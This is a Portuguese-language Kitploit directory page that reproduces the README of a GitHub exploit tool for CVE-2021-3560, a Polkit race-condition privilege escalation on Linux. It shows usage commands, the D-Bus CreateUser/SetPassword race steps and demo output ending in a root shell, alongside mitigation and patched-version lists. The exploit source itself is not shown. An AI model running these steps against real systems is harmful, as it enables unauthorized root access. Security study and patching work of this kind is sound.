Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3560_Polkit — Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability | Kitploit
Ferramentas/GitHubGitHub/seimupve/cve-2021-3560_polkit
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability

Ver Repositório
há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-3560 Escalação de Privilégio Local no Polkit

root@kitploit:~
        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

Um exploit automatizado para a vulnerabilidade CVE-2021-3560 que afeta o PolicyKit (Polkit) em sistemas Linux.

⚠️ AVISO: Esta ferramenta é destinada apenas para fins educacionais e de treinamento em cibersegurança em um ambiente de laboratório controlado. O uso não autorizado deste exploit em sistemas que você não possui é ilegal.

📋 Índice

  • Sobre a Vulnerabilidade
  • Sistemas Vulneráveis
  • Funcionalidades
  • Pré-requisitos
  • Instalação
  • Uso
  • Como Funciona
  • Demonstração
  • Mitigação
  • Referências

🔍 Sobre a Vulnerabilidade

CVE-2021-3560 é uma vulnerabilidade local de condição de corrida no PolicyKit (polkit) que permite a um usuário sem privilégios obter acesso root em sistemas Linux vulneráveis.

Detalhes Técnicos

  • CVE ID: CVE-2021-3560
  • Severidade: Alta (CVSS 7.8)
  • Tipo: Condição de Corrida / Time-of-Check Time-of-Use (TOCTOU)
  • Impacto: Escalação Local de Privilégios (LPE)
  • Data de Divulgação: Junho de 2021

Versões Afetadas

A vulnerabilidade afeta dois ramos do Polkit com numerações de versão diferentes:

Upstream (versões oficiais)

  • Vulnerável: 0.113 a 0.118
  • Bug introduzido: Commit bfa5036 (versão 0.113)
  • Corrigido: Versão 0.119+

Fork Debian/Ubuntu

  • Vulnerável: 0.105-26 e superiores (até 0.118)
  • Bug introduzido: Commit f81d021 (versão 0.105-26)
  • NÃO vulnerável: Debian 10 "buster" (0.105-25)

💻 Sistemas Vulneráveis

📝 Nota: Sistemas com patches de segurança aplicados (ex.: ubuntu1.1, deb10u1) não são vulneráveis.

✨ Funcionalidades

  • ✅ Detecção automática da vulnerabilidade em múltiplas distribuições
  • ✅ Suporte a múltiplos sistemas: Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  • ✅ Verificação de dependências para ferramentas necessárias
  • ✅ Modo de verificação: Verificar vulnerabilidade sem explorar
  • ✅ Temporização adaptativa: Medição automática do melhor momento para condição de corrida
  • ✅ Indicadores de progresso: Exibição de progresso em tempo real
  • ✅ Saída colorida: Interface clara e fácil de ler
  • ✅ Tratamento robusto de erros: Mensagens explícitas em caso de falha

📦 Pré-requisitos

Versão do Python

  • Python 3.6+ (compatível com sistemas antigos como CentOS 8)

Dependências do Sistema

O exploit requer as seguintes ferramentas (verificadas automaticamente):

root@kitploit:~
- dbus-send      # Para comunicar com o D-Bus
- pkexec         # Parte do PolicyKit
- id             # Para verificar criação de usuário
- openssl        # Para gerar hash de senha

Serviço Necessário

root@kitploit:~
- accountsservice  # Deve estar instalado e ativo

🚀 Instalação

root@kitploit:~
# Clone o repositório (ou baixe o arquivo)
git clone https://github.com/[seu-repositorio]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Torne o script executável
chmod +x CVE-2021-3560_Polkit.py

📖 Uso

Modo 1: Verificação de Vulnerabilidade (--check)

Verifique se o sistema é vulnerável sem executar o exploit:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py --check

Exemplo de saída:

root@kitploit:~
[*] ============================================================
[*] Verificador de Vulnerabilidade CVE-2021-3560 Polkit
[*] ============================================================
[*] Detectando sistema operacional...
[+] SO: Ubuntu 20.04
[*] Verificando dependências necessárias...
[+] Encontrado: dbus-send
[+] Encontrado: pkexec
[+] Encontrado: id
[+] Encontrado: openssl
[*] Detectando versão do Polkit...
[+] Versão do Polkit: 0.105-26ubuntu1
[+] ============================================================
[+] O SISTEMA PARECE VULNERÁVEL!
[+] ============================================================
[*] Fork Debian/Ubuntu detectado (vulnerável desde 0.105-26)

Modo 2: Exploração

Criar um usuário privilegiado:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u <nome_usuario> -p <senha>

Exemplo:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

Opções Completas

root@kitploit:~
uso: CVE-2021-3560_Polkit.py [-h] [-u USUARIO] [-p SENHA] [-c]

opções:
  -h, --help            Mostrar ajuda
  -u, --username        Nome do usuário a criar
  -p, --password        Senha para o novo usuário
  -c, --check           Verificar vulnerabilidade sem explorar

⚙️ Como Funciona

O exploit explora uma condição de corrida no PolicyKit durante o processamento de requisições D-Bus.

Princípio da Vulnerabilidade

  1. Requisição D-Bus: O usuário envia uma requisição D-Bus para criar um usuário
  2. Verificação de Autorização: O Polkit verifica se o usuário tem permissões
  3. Condição de Corrida: Se a conexão D-Bus for fechada durante a verificação, o Polkit trata o UID como 0 (root)
  4. Criação do Usuário: O usuário é criado com privilégios elevados

Etapas do Exploit

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ 1. Medição do tempo ideal                              │
│    └─> Execução de teste para calibrar o tempo          │
├─────────────────────────────────────────────────────────┤
│ 2. Exploração: Criação de usuário                      │
│    └─> Enviar requisição D-Bus CreateUser              │
│    └─> Matar o processo no momento exato (condição de corrida) │
│    └─> Verificar se o usuário foi criado               │
├─────────────────────────────────────────────────────────┤
│ 3. Geração do hash da senha                            │
│    └─> Usando openssl passwd -6                        │
├─────────────────────────────────────────────────────────┤
│ 4. Exploração: Definição da senha                      │
│    └─> Enviar requisição D-Bus SetPassword             │
│    └─> Matar o processo no momento exato (condição de corrida) │
│    └─> Testar login com senha                          │
├─────────────────────────────────────────────────────────┤
│ 5. Escalação de privilégio                             │
│    └─> Logar com a conta criada                        │
│    └─> Usar sudo se membro do grupo sudo               │
└─────────────────────────────────────────────────────────┘

🎬 Demonstração

Cenário Típico de Exploração

root@kitploit:~
# 1. Verificar vulnerabilidade
usuario@vulneravel:~$ python3 CVE-2021-3560_Polkit.py --check
[+] O SISTEMA PARECE VULNERÁVEL!

# 2. Executar exploit
usuario@vulneravel:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║            CVE-2021-3560 Escalação de Privilégio Polkit   ║
╚═══════════════════════════════════════════════════════════╝

[*] Criando usuário 'pwned' usando ataque de condição de corrida...
[*] Medindo tempo de execução do comando...
[*] O comando leva aproximadamente ~0.045s, usando temporização de 0.023s
[*] Tentando exploit de condição de corrida, aguarde...
[+] Usuário 'pwned' criado com sucesso! UID: 1001
[*] Usuário é membro dos grupos: 1001(pwned) 27(sudo)
[*] Gerando hash da senha...
[+] Hash da senha gerado
[*] Definindo senha para o usuário 'pwned'...
[+] Senha definida com sucesso!

╔═══════════════════════════════════════════════════════════╗
║                   EXPLOIT BEM-SUCEDIDO!                    ║
╚═══════════════════════════════════════════════════════════╝

[+] Usuário 'pwned' criado com senha 'Pwn3d123!'
[*] O usuário deve ser membro do grupo 'sudo' para escalação de privilégio
[*] Trocando para usuário 'pwned'...

# 3. Obter root
pwned@vulneravel:~$ sudo su
root@vulneravel:~# id
uid=0(root) gid=0(root) grupos=0(root)

🛡️ Mitigação

Para Administradores de Sistema

  1. Atualizar o PolicyKit:

    root@kitploit:~
    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # ou
    sudo dnf update polkit
    
  2. Verificar versão:

    root@kitploit:~
    pkexec --version
    # Deve ser >= 0.119 (upstream) ou corrigida
    
  3. Verificar patches de segurança:

    root@kitploit:~
    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

Versão Mínima Segura

  • Upstream: ≥ 0.119
  • Ubuntu 20.04: 0.105-26ubuntu1.1 ou superior
  • Debian 11: 0.105-31+deb11u1 ou superior
  • RHEL 8: polkit-0.115-11.el8_4.1 ou superior

📚 Referências

Artigos e Documentação Oficiais

  • GitHub Security Lab: Escalação de privilégio com Polkit: Como obter root no Linux com um bug de sete anos
  • Red Hat CVE: CVE-2021-3560
  • MITRE CVE: CVE-2021-3560
  • NVD NIST: Detalhe CVE-2021-3560

Recursos TryHackMe

  • Sala TryHackMe: Polkit CVE-2021-3560 (Prática)

Patches e Correções

  • GitLab Polkit: Commit de correção

📝 Notas Importantes

Taxa de Sucesso

O exploit depende de uma condição de corrida, o que significa que:

  • ✅ Geralmente funciona em 1-20 tentativas
  • ⏱️ A temporização é crítica (calibrada automaticamente)
  • 🔄 Máximo de 100 tentativas por etapa (configurável)
  • 📡 Melhor taxa de sucesso via SSH do que no console local

Limitações

  • ❌ Não funciona em sistemas corrigidos
  • ❌ Requer accountsservice instalado e ativo
  • ❌ O usuário deve ter acesso ao D-Bus do sistema
  • ❌ Alguns ambientes (contêineres, VMs específicas) podem bloquear o exploit

Versões Corrigidas (NÃO Vulneráveis)

As seguintes versões incluem patches de segurança e NÃO são vulneráveis:

  • 0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, etc. (Ubuntu corrigido)
  • 0.105-26ubuntu2.1, 0.105-26ubuntu2.2, etc. (Ubuntu corrigido)
  • 0.105-31+deb11u1 (Debian 11 corrigido)
  • polkit-0.115-11.el8_4.1 (RHEL 8 corrigido)

Nota: Se o seu sistema aparecer como vulnerável mas o exploit falhar com erros PermissionDenied, é provável que a versão esteja corrigida. O exploit agora detectará corretamente essas versões corrigidas.

Depuração

Se o exploit falhar:

  1. Verifique a versão do Python (se obtiver TypeError: __init__() got an unexpected keyword argument 'capture_output'):

    root@kitploit:~
    python3 --version
    # Deve ser 3.6 ou superior
    # O script é compatível com Python 3.6+
    
  2. Verifique se a versão está corrigida:

    root@kitploit:~
    pkexec --version
    # Se aparecer ubuntu1.X (onde X > 0), está corrigido
    
  3. Verifique o accountsservice:

    root@kitploit:~
    systemctl status accounts-daemon
    
  4. Verifique o D-Bus:

    root@kitploit:~
    dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
    
  5. Execute via SSH em vez do console local

  6. Ajuste a temporização modificando optimal_timing no código

👤 Autor

Seimu

📄 Licença

Este projeto é destinado apenas para fins educacionais. O uso deste código para atividades não autorizadas é estritamente proibido e pode resultar em ações legais.


⚠️ Aviso Legal: O autor não se responsabiliza pelo uso indevido desta ferramenta. Use-a apenas em ambientes de teste autorizados.

Baixar ferramenta
DistribuiçãoVersão do PolkitVulnerável?
Ubuntu 20.040.105-26ubuntu1✅ Sim
Ubuntu 18.040.105-20❌ Não
Debian testing "bullseye"0.105-31+✅ Sim
Debian 10 "buster"0.105-25❌ Não
RHEL 80.115-11+✅ Sim
RHEL 7< 0.113❌ Não
Fedora 21+0.113+✅ Sim
Fedora 20 e anteriores< 0.113❌ Não